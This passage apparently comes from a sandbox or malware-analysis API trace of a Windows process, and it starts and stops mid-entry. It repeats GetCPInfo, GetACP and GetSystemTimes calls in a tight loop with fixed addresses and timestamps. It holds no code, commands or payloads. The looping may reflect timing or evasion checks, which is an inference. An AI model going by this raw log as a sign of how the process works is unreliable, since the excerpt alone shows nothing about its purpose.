GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.462] GetACP () returned 0x4e4 [0093.462] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.462] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.462] GetACP () returned 0x4e4 [0093.462] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.462] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.462] GetACP () returned 0x4e4 [0093.462] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.462] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.462] GetACP () returned 0x4e4 [0093.462] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.462] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.462] GetACP () returned 0x4e4 [0093.462] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.462] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.462] GetACP () returned 0x4e4 [0093.462] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.462] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.462] GetACP () returned 0x4e4 [0093.462] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.462] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.463] GetACP () returned 0x4e4 [0093.463] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.463] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.463] GetACP () returned 0x4e4 [0093.463] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.463] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.463] GetACP () returned 0x4e4 [0093.463] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.463] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.463] GetACP () returned 0x4e4 [0093.463] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.463] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.463] GetACP () returned 0x4e4 [0093.463] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.463] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.463] GetACP () returned 0x4e4 [0093.463] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.463] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.463] GetACP () returned 0x4e4 [0093.463] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.463] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.463] GetACP () returned 0x4e4 [0093.463] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.464] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.464] GetACP () returned 0x4e4 [0093.464] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.464] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.464] GetACP () returned 0x4e4 [0093.464] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.464] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.464] GetACP () returned 0x4e4 [0093.464] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.464] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.464] GetACP () returned 0x4e4 [0093.464] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.464] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.464] GetACP () returned 0x4e4 [0093.464] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.464] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.464] GetACP () returned 0x4e4 [0093.464] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.464] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.464] GetACP () returned 0x4e4 [0093.464] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.465] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.465] GetACP () returned 0x4e4 [0093.465] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.465] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.465] GetACP () returned 0x4e4 [0093.465] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.465] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.465] GetACP () returned 0x4e4 [0093.465] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.465] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.465] GetACP () returned 0x4e4 [0093.465] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.465] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.465] GetACP () returned 0x4e4 [0093.465] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.465] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.465] GetACP () returned 0x4e4 [0093.465] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.465] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.465] GetACP () returned 0x4e4 [0093.466] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.466] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.466] GetACP () returned 0x4e4 [0093.466] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.466] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.466] GetACP () returned 0x4e4 [0093.466] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.466] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.466] GetACP () returned 0x4e4 [0093.466] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.466] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.466] GetACP () returned 0x4e4 [0093.466] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.466] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.466] GetACP () returned 0x4e4 [0093.466] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.467] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.467] GetACP () returned 0x4e4 [0093.467] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.467] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.467] GetACP () returned 0x4e4 [0093.467] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.467] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.467] GetACP () returned 0x4e4 [0093.467] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.467] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.467] GetACP () returned 0x4e4 [0093.467] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.467] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.467] GetACP () returned 0x4e4 [0093.467] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.467] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.468] GetACP () returned 0x4e4 [0093.468] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.468] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.468] GetACP () returned 0x4e4 [0093.468] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.468] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.468] GetACP () returned 0x4e4 [0093.468] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.468] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.468] GetACP () returned 0x4e4 [0093.468] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.468] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.468] GetACP () returned 0x4e4 [0093.468] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.468] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.468] GetACP () returned 0x4e4 [0093.468] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.468] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.469] GetACP () returned 0x4e4 [0093.469] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.469] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.469] GetACP () returned 0x4e4 [0093.469] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.469] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.469] GetACP () returned 0x4e4 [0093.469] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.469] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.469] GetACP () returned 0x4e4 [0093.469] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.469] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.469] GetACP () returned 0x4e4 [0093.469] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.469] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.469] GetACP () returned 0x4e4 [0093.469] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.469] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.469] GetACP () returned 0x4e4 [0093.469] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.470] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.470] GetACP () returned 0x4e4 [0093.470] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.470] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.470] GetACP () returned 0x4e4 [0093.470] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.470] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.470] GetACP () returned 0x4e4 [0093.470] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.470] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.470] GetACP () returned 0x4e4 [0093.470] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.470] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.470] GetACP () returned 0x4e4 [0093.470] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.470] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.470] GetACP () returned 0x4e4 [0093.470] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.470] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.470] GetACP () returned 0x4e4 [0093.470] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.470] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.471] GetACP () returned 0x4e4 [0093.471] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.471] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.471] GetACP () returned 0x4e4 [0093.471] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.471] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.471] GetACP () returned 0x4e4 [0093.471] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.471] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.471] GetACP () returned 0x4e4 [0093.471] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.471] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.471] GetACP () returned 0x4e4 [0093.471] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.471] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.471] GetACP () returned 0x4e4 [0093.471] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.471] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.471] GetACP () returned 0x4e4 [0093.471] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.471] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.471] GetACP () returned 0x4e4 [0093.472] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.472] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.472] GetACP () returned 0x4e4 [0093.472] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.472] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.472] GetACP () returned 0x4e4 [0093.472] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.472] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.472] GetACP () returned 0x4e4 [0093.472] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.472] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.472] GetACP () returned 0x4e4 [0093.472] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.472] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.472] GetACP () returned 0x4e4 [0093.472] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.472] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.472] GetACP () returned 0x4e4 [0093.472] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.473] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.473] GetACP () returned 0x4e4 [0093.473] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.473] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.473] GetACP () returned 0x4e4 [0093.473] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.473] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.473] GetACP () returned 0x4e4 [0093.473] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0093.473] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0093.473] GetACP () returned 0x4e4 [0093.473] GetSystemTimes (in: 